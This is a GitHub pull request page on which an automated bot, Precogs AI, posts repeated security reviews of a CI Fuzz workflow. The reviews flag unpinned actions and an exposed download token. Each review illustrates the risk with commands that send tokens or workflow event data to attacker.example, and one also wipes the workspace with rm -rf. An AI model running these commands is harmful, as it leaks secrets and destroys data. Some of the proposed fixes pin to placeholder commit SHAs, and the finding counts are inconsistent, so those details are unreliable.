test by Yaqin23 · Pull Request #1 · Yaqin23/c-cpp-example

Yaqin23 · 2026-02-24T07:05:42Z

No description provided.

precogs-ai · 2026-02-24T07:05:46Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:18:03Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:21:07Z

🛡️ Precogs AI Security Review

🔍 Did you hear about the security vulnerability? It was a real gonna-get-you moment!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

🔍 3 | 🚨 2 | ⚠️ 0 | 💡 0

  CIFUZZ_DOWNLOAD_TOKEN ──▶ [Passed to External Action] ──▶ read() ──▶ 💥 Secret Leak

🚨 #1. Secret Exposure via Unpinned Third-Party GitHub Action in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Your secret token is riding shotgun with a potentially malicious GitHub Action.

🔍 The Problem:
The workflow is passing the CIFUZZ_DOWNLOAD_TOKEN directly to a third-party GitHub Action tagged with @v1. This tag can change unpredictably, exposing your secret to attackers if that action gets compromised.

📍 Vulnerable Code:

46 - name: Install CI Fuzz
47   uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
48   with:
49     version: latest
50     download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

💣 How an Attacker Exploits This:

const token = process.env['INPUT_DOWNLOAD-TOKEN'];
require('child_process').execSync(`curl -sS -X POST https://attacker.example/loot -d token=${token}`);

If the attacker controls the action repository, they can read your token and send it to their server.

✅ The Fix:

- name: Install CI Fuzz
  run: |
    mkdir -p "$HOME/.local/bin"
    curl -fsSL -o cifuzz.tar.gz "https://downloads.code-intelligence.com/cifuzz/releases/latest/cifuzz-ubuntu.tar.gz?token=${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}"
    tar -xzf cifuzz.tar.gz -C "$HOME/.local/bin"
    chmod +x "$HOME/.local/bin/cifuzz" || true
    rm -f cifuzz.tar.gz
  env:
    CIFUZZ_DOWNLOAD_TOKEN: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	9.8
Confidence	Likely

  External Action ──▶ [Floating Tag] ──▶ exec() ──▶ 💥 RCE

🚨 CodeIntelligenceTesting#2. Unpinned third-party GitHub Action (Supply chain risk) in YAML — Risk: High ⚡ Score: 9.8

🎯 TL;DR: Using floating tags for actions is like leaving your front door unlocked—anyone could waltz in!

🔍 The Problem:
Your workflow uses floating references like @v1 or @v4 for external GitHub Actions. If those tags change, unverified code can execute in your CI environment, leading to arbitrary commands running secretly.

📍 Vulnerable Code:

8         uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1"
18         uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1"
30         uses: actions/upload-artifact@v4
36         uses: actions/upload-artifact@v4
42         uses: actions/upload-artifact@v4

💣 How an Attacker Exploits This:

run: curl -X POST https://attacker.example/steal -d "token=$GITHUB_TOKEN"

A malicious commit in the action could exfiltrate your secrets, including the all-important GITHUB_TOKEN.

✅ The Fix:

- name: Run fuzzing
  uses: "CodeIntelligenceTesting/actions/run-fuzzing@8f2d3e4c5b6a7d8e9f0123456789abcdef0123456" # Pinned to specific commit SHA
- name: Upload code-scanning report
  uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@5a6b7c8d9e0f1234567890abcdefabcdefabcdefab"

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

🔒 Security Tip: Always pin your GitHub Actions to a specific commit SHA to ensure immutability and security.
🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T09:30:24Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:30:42Z

🛡️ Precogs AI Security Review

When it comes to security, remember: "An ounce of prevention is worth a pound of cure!"
🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

  User Input ──▶ [Mutable Tag] ──▶ Action Code ──▶ 💥 Secret Exposure

🚨 #1. Secret Exposure via Unpinned Third-Party GitHub Action in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Your secret token is being passed to a potentially compromised action.

🔍 The Problem:
The workflow is passing the repository secret CIFUZZ_DOWNLOAD_TOKEN to a third-party GitHub Action using a mutable tag (@v1). If that action is compromised or updated without your knowledge, your secret can be exfiltrated.

📍 Vulnerable Code:

46 - name: Install CI Fuzz
47   uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
48   with:
49     version: latest
50     download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

💣 How an Attacker Exploits This:

An attacker who controls the action can run:
const token = process.env['INPUT_DOWNLOAD-TOKEN'];
require('child_process').execSync(`curl -sS -X POST https://attacker.example/loot -d token=${token}`);

In this scenario, the compromised action sends your secret to an attacker-controlled server!

✅ The Fix:

- name: Install CI Fuzz
  run: |
    mkdir -p "$HOME/.local/bin"
    curl -fsSL -o cifuzz.tar.gz "https://downloads.code-intelligence.com/cifuzz/releases/latest/cifuzz-ubuntu.tar.gz?token=${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}"
    tar -xzf cifuzz.tar.gz -C "$HOME/.local/bin"
    chmod +x "$HOME/.local/bin/cifuzz" || true
    rm -f cifuzz.tar.gz
  env:
    CIFUZZ_DOWNLOAD_TOKEN: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	9.8
Confidence	Likely

  External Action ──▶ [Floating Tag] ──▶ Code Execution ──▶ 💥 Supply Chain Compromise

🚨 CodeIntelligenceTesting#2. Unpinned third-party GitHub Action (Supply chain risk) in YAML — Risk: High ⚡ Score: 9.8

🎯 TL;DR: Using mutable tags for actions risks running unverified code.

🔍 The Problem:
Your workflow references third-party GitHub Actions with floating tags like @v1 and @v4. If those tags change, you could unintentionally execute code that’s been altered or compromised.

📍 Vulnerable Code:

8         uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1"
18         uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1"
30         uses: actions/upload-artifact@v4
36         uses: actions/upload-artifact@v4
42         uses: actions/upload-artifact@v4

💣 How an Attacker Exploits This:

An attacker updates the action to send your GITHUB_TOKEN to their server:
run: curl -X POST https://attacker.example/steal -d "token=$GITHUB_TOKEN"

If a floating tag points to a malicious commit, your secrets are at risk!

✅ The Fix:

- name: Run fuzzing
  uses: "CodeIntelligenceTesting/actions/run-fuzzing@8f2d3e4c5b6a7d8e9f0123456789abcdef0123456" # Pinned to specific commit SHA
- name: Upload code-scanning report
  uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@5a6b7c8d9e0f1234567890abcdefabcdefabcdefab"

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

"Security is not a product, but a process." — Bruce Schneier
🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T09:33:37Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:33:59Z

🛡️ Precogs AI Security Review

You've got a few bumps in the code—let's make sure they don't trip you up!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

⚡ Critical Vulnerabilities

  Repository Secret ──▶ [Passing to Third-Party Action] ──▶ exploit() ──▶ 💥 Secret Leak

🚨 #1. Secret Exposure via Unpinned Third-Party GitHub Action in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Your repository secret is at risk because it's being passed to a third-party action without pinning it to a specific version.

🔍 The Problem:
The workflow passes the repository secret CIFUZZ_DOWNLOAD_TOKEN directly to a GitHub Action tagged as @v1. Since tags can be updated, if the action is compromised, your secret could be leaked.

📍 Vulnerable Code:

46: - name: Install CI Fuzz
47:   uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
48:   with:
49:     version: latest
50:     download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

💣 How an Attacker Exploits This:

const token = process.env['INPUT_DOWNLOAD-TOKEN'];
require('child_process').execSync(`curl -sS -X POST https://attacker.example/loot -d token=${token}`);

If the action is compromised, it can exfiltrate your token directly to an attacker's server.

✅ The Fix:

- name: Install CI Fuzz
  run: |
    mkdir -p "$HOME/.local/bin"
    curl -fsSL -o cifuzz.tar.gz "https://downloads.code-intelligence.com/cifuzz/releases/latest/cifuzz-ubuntu.tar.gz?token=${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}"
    tar -xzf cifuzz.tar.gz -C "$HOME/.local/bin"
    chmod +x "$HOME/.local/bin/cifuzz" || true
    rm -f cifuzz.tar.gz
  env:
    CIFUZZ_DOWNLOAD_TOKEN: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	9.8
Confidence	Likely

⚡ High Vulnerabilities

  External Action ──▶ [Floating Tags] ──▶ exec() ──▶ 💥 Arbitrary Code Execution

🚨 CodeIntelligenceTesting#2. Unpinned third-party GitHub Action (Supply chain risk) in YAML — Risk: High ⚡ Score: 9.8

🎯 TL;DR: Using floating tags for external actions could allow an attacker to run arbitrary code in your CI.

🔍 The Problem:
The workflow references third-party actions using mutable tags (e.g., @v1, @v4). If the tag changes or the action is compromised, your CI could execute malicious code.

📍 Vulnerable Code:

8:        uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1"
18:        uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1"
30:        uses: actions/upload-artifact@v4
36:        uses: actions/upload-artifact@v4
42:        uses: actions/upload-artifact@v4

💣 How an Attacker Exploits This:

run: curl -X POST https://attacker.example/steal -d "token=$GITHUB_TOKEN"

If an attacker changes the action's code, they could steal your secrets by executing arbitrary commands during the CI run.

✅ The Fix:

- name: Run fuzzing
  uses: "CodeIntelligenceTesting/actions/run-fuzzing@8f2d3e4c5b6a7d8e9f0123456789abcdef0123456" # pinned to specific commit
- name: Upload code-scanning report
  uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@5a6b7c8d9e0f1234567890abcdefabcdefabcdefab"

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

🌟 Security Tip of the Day:

"An ounce of prevention is worth a pound of cure—especially in security!"

🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T09:38:33Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:39:24Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:40:04Z

🛡️ Precogs AI Security Review

Let’s get this security party started—who invited those vulnerabilities? 🎉
🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

🚨 #1. [Exposure of Sensitive Information (Secret Exfiltration via Third-Party Action)] in YAML (GitHub Actions workflow) — Risk: High ⚡ Score: 9.8

🎯 TL;DR: Your secret token is taking a risky stroll with a third-party action.

🔍 The Problem:
Passing the CIFUZZ_DOWNLOAD_TOKEN to an untrusted third-party GitHub Action leaves it vulnerable to exfiltration. This action could log or misuse the token if compromised. Plus, there's some stray text messing up your YAML structure.

📍 Vulnerable Code:

       Adapt this if you are not running on a container with Debian-based distribution # Line 37
        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1" # Line 47
          version: latest # Line 49
          download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }} # Line 50

💣 How an Attacker Exploits This:

curl -s -X POST "https://attacker.example/exfil?token=${{ inputs.download-token }}"

If the action is malicious, the token could be sent to an attacker's server, exposing your secrets.

✅ The Fix:

      # PRECOGS_FIX: Commented out stray human text which would break YAML parsing
      # Adapt this if you are not running on a container with Debian-based distribution

      - name: Install CI Fuzz
        if: ${{ github.event_name != 'pull_request' }} # Prevent secrets exposure
        uses: "CodeIntelligenceTesting/actions/install-cifuzz@8c0bb5a3ac33eae5ec608e874974927c502e3624" # Pinned to specific commit
        with:
          version: latest
          download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	9.8
Confidence	Likely

🚨 CodeIntelligenceTesting#2. [Unpinned third-party GitHub Action (Supply chain risk)] in YAML — Risk: High ⚡ Score: 9.8

🎯 TL;DR: Your build is inviting trouble by using floating tags for actions.

🔍 The Problem:
Using floating tags (e.g., @v1, @v4) for third-party GitHub Actions allows for unexpected changes to the code being executed. This means a compromised action could run arbitrary code in your CI.

📍 Vulnerable Code:

        uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1" # Line 8
        uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1" # Line 18
        uses: actions/upload-artifact@v4 # Line 30
        uses: actions/upload-artifact@v4 # Line 36
        uses: actions/upload-artifact@v4 # Line 42

💣 How an Attacker Exploits This:

run: curl -X POST https://attacker.example/steal -d "token=$GITHUB_TOKEN"

If an attacker can change what the tag points to, they could collect your repository secrets.

✅ The Fix:

      - name: Run fuzzing
        uses: "CodeIntelligenceTesting/actions/run-fuzzing@8f2d3e4c5b6a7d8e9f0123456789abcdef0123456" # PRECOGS_FIX: pinned to specific commit SHA
      - name: Upload code-scanning report
        uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@5a6b7c8d9e0f1234567890abcdefabcdefabcdefab" # Pinned SHA

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

“Security is not a product, but a process.” – Bruce Schneier
🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T09:42:39Z

🛡️ Precogs AI Security Review

Looks like our security scan found some vulnerabilities that are less "Hello World" and more "Hello, World of Trouble!"
🔍 Total: 3 | 🚨 Critical: 1 | ⚠️ High: 1 | 💡 Low: 0

User Input ──▶ [Unsanitized Secret] ──▶ Third-Party Action ──▶ 💥 Secret Exfiltration

🚨 #1. Exposure of CI/CD Secret to Third-Party Action (Secret Exfiltration Risk) in YAML — Risk: High ⚡ Score: 9.0

🎯 TL;DR: Your repository secret is exposed to third-party actions without any guards!

🔍 The Problem:
The workflow directly passes a sensitive repository secret (CIFUZZ_DOWNLOAD_TOKEN) to a third-party action without restrictions. If that action gets compromised, your secret could be exfiltrated by attackers!

📍 Vulnerable Code:

46    - name: Install CI Fuzz
47        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
48        with:
50          download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

💣 How an Attacker Exploits This:

run: |
  curl -X POST https://attacker.example/collect -d "t=${CIFUZZ_DOWNLOAD_TOKEN}"

An attacker could modify the action to send your token to their server, leading to potential breaches or supply-chain attacks.

✅ The Fix:

if: ${{ github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository }}
uses: "CodeIntelligenceTesting/actions/install-cifuzz@86cd764e920f18eb66b5a7cf612d4dbadd695a20"
with:
  download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Confidence	Certain

🚨 CodeIntelligenceTesting#2. Unpinned Third-Party GitHub Action (Supply Chain Risk) in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Your CI is at risk because you're using floating tags for third-party actions!

🔍 The Problem:
Referencing GitHub Actions by floating tags (like @v1) can leave you open to arbitrary, potentially malicious code if that tag is repointed. This can lead to unwanted surprises in your CI pipeline.

📍 Vulnerable Code:

8        uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1"
18       uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1"
30       uses: "actions/upload-artifact@v4"
36       uses: "actions/upload-artifact@v4"
42       uses: "actions/upload-artifact@v4"

💣 How an Attacker Exploits This:

bash -lc 'curl -s --data-binary @/github/workflow/event.json https://attacker.example/collect || true; /bin/bash -c "rm -rf /github/workspace/*"'

An attacker could inject malicious code into these actions, leading to exfiltration of secrets or even destruction of your workspace.

✅ The Fix:

uses: "CodeIntelligenceTesting/actions/run-fuzzing@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0" # Pin to specific commit SHA

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Confidence	Certain

⚠️

CodeIntelligenceTesting#3. No Vulnerabilities Detected in YAML — Risk: None ⚡ Score: 0.0

🎯 TL;DR: All clear! No vulnerabilities found here.

🔍 The Problem:
This section is just a batch of fuzzing options without any executable code or security issues. You're safe here!

📍 Vulnerable Code:

## Sanitizers to use when building fuzz tests. If not set, ASan and UBSan
#sanitizers:
# - address
# - undefined

💣 How an Attacker Exploits This:
No attack vectors identified. Nothing to see here!

✅ The Fix:
Keep it as is. You’re looking good!

📊 Details:

Metric	Value
CWE	N/A
CVSS	N/A
Confidence	Certain

"Security isn't a product, but a process."
🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T09:45:47Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T09:47:11Z

🛡️ Precogs AI Security Review

Looks like we found some hidden treasures... of the vulnerability kind! Let's dig in.
🔍 Total | 🚨 Critical: 2 | ⚠️ Medium: 0 | 💡 Low: 0

  Secrets ──▶ [Unsanitized] ──▶ External Action ──▶ 💥 Data Leak

🚨 #1. Sensitive Data Exposure in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Your secret token is being sent to an external action—yikes!

🔍 The Problem:
The workflow is leaking a sensitive repository secret, CIFUZZ_DOWNLOAD_TOKEN, by passing it directly to a third-party GitHub Action. If that action is compromised, your secrets could be at risk.

📍 Vulnerable Code:

46      - name: Install CI Fuzz
47        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
48        with:
49          version: latest
50          download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

💣 How an Attacker Exploits This:

CIFUZZ_DOWNLOAD_TOKEN=ABC123TOKEN

An attacker could exfiltrate this token through malicious action code, potentially gaining unauthorized access to your CI Fuzz service.

✅ The Fix:

      # Install CI Fuzz WITHOUT a secret for untrusted forked PRs
      - name: Install CI Fuzz (no token for external PRs)
        if: github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name != github.repository
        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
        with:
          version: latest

      # Install CI Fuzz WITH token only for trusted events
      - name: Install CI Fuzz (with token for trusted events)
        if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository
        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v1"
        with:
          version: latest
          download-token: ${{ secrets.CIFUZZ_DOWNLOAD_TOKEN }}

📊 Details:

Metric	Value
CWE	CWE-200
CVSS	9.8
Confidence	Certain

🚨 CodeIntelligenceTesting#2. Unpinned Third-Party GitHub Action in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: You're using floating tags for actions—let's pin those down!

🔍 The Problem:
Your workflow pulls in third-party GitHub Actions using floating tags like @v1. This allows those tags to be changed, which could lead to executing malicious code in your CI environment without your knowledge.

📍 Vulnerable Code:

8        uses: "CodeIntelligenceTesting/actions/run-fuzzing@v1"
18        uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v1"
30        uses: actions/upload-artifact@v4
36        uses: actions/upload-artifact@v4
42        uses: actions/upload-artifact@v4

💣 How an Attacker Exploits This:

bash -lc 'curl -s --data-binary @/github/workflow/event.json https://attacker.example/collect || true; /bin/bash -c "rm -rf /github/workspace/*"'

An attacker could change the action code to exfiltrate data or disrupt your workflow entirely.

✅ The Fix:

- name: Run fuzzing
  uses: "CodeIntelligenceTesting/actions/run-fuzzing@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0" # PRECOGS_FIX: pin action to an explicit commit SHA
  with:
    duration: 15s

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

✅ CodeIntelligenceTesting#3. No Vulnerabilities in YAML — Risk: None ⚡ Score: 0.0

🎯 TL;DR: All clear! No vulnerabilities found here.

🔍 The Problem:
This section is just a configuration for fuzzing options—no vulnerabilities detected.

📍 Vulnerable Code:

## Sanitizers to use when building fuzz tests. If not set, ASan and UBSan
#sanitizers:
# - address
# - undefined

💣 How an Attacker Exploits This:
No vulnerabilities identified.

✅ The Fix:
No action needed.

📊 Details:

Metric	Value
CWE	None
CVSS	0.0
Confidence	Certain

"Security is not a product, but a process."
🛡️ Scanned by Precogs AI — Your AI security co-pilot

precogs-ai · 2026-02-27T10:15:24Z

👋 Precogs AI is reviewing this Pull Request

⏳ Scan is in progress…
We’ll update this PR with findings shortly.

— Precogs AI 🤖

precogs-ai · 2026-02-27T10:19:26Z

🛡️ Precogs AI Security Review

Looks like we’ve got some unexpected guests in our codebase—time to send them packing!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

Attack Flow:

  Unpinned Action ──▶ [Malicious Code] ──▶ exec() ──▶ 💥 RCE

🚨 #1. Unpinned third-party action / supply chain risk in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Using "latest" for third-party actions is like inviting trouble over for tea!

🔍 The Problem:
Your workflow is pulling in the "latest" version of a third-party action, which is mutable and can change without warning. This means if an attacker compromises the action or its release process, bad things can happen—like malicious code running in your CI environment.

📍 Vulnerable Code:

46      - name: Install CI Fuzz
47        uses: "CodeIntelligenceTesting/actions/install-cifuzz@v2"
48          version: latest

💣 How an Attacker Exploits This:

#!/bin/sh
# Exfiltrate the repo token
if [ -n "$GITHUB_TOKEN" ]; then
  curl -X POST -d "token=$GITHUB_TOKEN" http://attacker.example
fi
exec "$@"

If the latest version is compromised, the attack payload could exfiltrate secrets directly!

✅ The Fix:

# Pin to a specific known-good CIFuzz release
env:
  CIFUZZ_VERSION: "v1.5.0"
run: |
  # Ensure integrity using a trusted SHA256 checksum
  curl -fL -H "Authorization: token ${CIFUZZ_DOWNLOAD_TOKEN}" -o cifuzz.tar.gz "$URL"

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

🚨 CodeIntelligenceTesting#2. Unpinned third-party GitHub Action (Supply Chain Risk) in YAML — Risk: Critical ⚡ Score: 9.8

🎯 TL;DR: Floating tags are like floating on a raft with no paddles—dangerous!

🔍 The Problem:
Your workflow references third-party actions using a floating tag (@v2). This means if the action maintainer decides to change what @v2 points to, your workflow could run potentially malicious code without you knowing.

📍 Vulnerable Code:

8        uses: "CodeIntelligenceTesting/actions/run-fuzzing@v2"
19        uses: "CodeIntelligenceTesting/actions/upload-code-scanning-report@v2"

💣 How an Attacker Exploits This:

#!/bin/sh
# Exfiltrate the repo token to attacker server
if [ -n "$GITHUB_TOKEN" ]; then
  curl -X POST -d "token=$GITHUB_TOKEN" https://attacker.example
fi
exec "$@"

If the action gets compromised, your secrets are up for grabs!

✅ The Fix:

uses: CodeIntelligenceTesting/actions/run-fuzzing@e3a1b2c3d4 # Pin to immutable SHA

📊 Details:

Metric	Value
CWE	CWE-494
CVSS	9.8
Confidence	Certain

"An ounce of prevention is worth a pound of cure."
🛡️ Scanned by Precogs AI — Your AI security co-pilot

PBetzler added 3 commits June 23, 2025 12:54

updated the devcontainer version

21f8001

added aws region

4d36599

updated cifuzz.yaml to fit new style

a93905f

simonresch force-pushed the main branch from e22e2af to 746cb0b Compare February 27, 2026 09:33

simonresch force-pushed the main branch from 746cb0b to db83930 Compare February 27, 2026 09:38

simonresch force-pushed the main branch from db83930 to 35fb886 Compare February 27, 2026 09:39

Add cifuzz github workflow

f2161ec

simonresch force-pushed the main branch from 35fb886 to f2161ec Compare February 27, 2026 09:45

Update workflow

6fb0275

Conversation

Yaqin23 commented Feb 24, 2026

Uh oh!

precogs-ai bot commented Feb 24, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

🔍 Did you hear about the security vulnerability? It was a real gonna-get-you moment! 🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

When it comes to security, remember: "An ounce of prevention is worth a pound of cure!" 🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

You've got a few bumps in the code—let's make sure they don't trip you up! 🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

⚡ Critical Vulnerabilities

⚡ High Vulnerabilities

🌟 Security Tip of the Day:

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

Let’s get this security party started—who invited those vulnerabilities? 🎉 🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

Looks like our security scan found some vulnerabilities that are less "Hello World" and more "Hello, World of Trouble!" 🔍 Total: 3 | 🚨 Critical: 1 | ⚠️ High: 1 | 💡 Low: 0

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

Looks like we found some hidden treasures... of the vulnerability kind! Let's dig in. 🔍 Total | 🚨 Critical: 2 | ⚠️ Medium: 0 | 💡 Low: 0

Uh oh!

precogs-ai bot commented Feb 27, 2026

Uh oh!

precogs-ai bot commented Feb 27, 2026

🛡️ Precogs AI Security Review

Looks like we’ve got some unexpected guests in our codebase—time to send them packing! 🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

Attack Flow:

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

🔍 Did you hear about the security vulnerability? It was a real gonna-get-you moment!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

When it comes to security, remember: "An ounce of prevention is worth a pound of cure!"
🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

You've got a few bumps in the code—let's make sure they don't trip you up!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low

Let’s get this security party started—who invited those vulnerabilities? 🎉
🔍 Total | 🚨 Critical/High: 2 | ⚠️ Medium: 0 | 💡 Low: 0

Looks like our security scan found some vulnerabilities that are less "Hello World" and more "Hello, World of Trouble!"
🔍 Total: 3 | 🚨 Critical: 1 | ⚠️ High: 1 | 💡 Low: 0

Looks like we found some hidden treasures... of the vulnerability kind! Let's dig in.
🔍 Total | 🚨 Critical: 2 | ⚠️ Medium: 0 | 💡 Low: 0

Looks like we’ve got some unexpected guests in our codebase—time to send them packing!
🔍 Total | 🚨 Critical/High | ⚠️ Medium | 💡 Low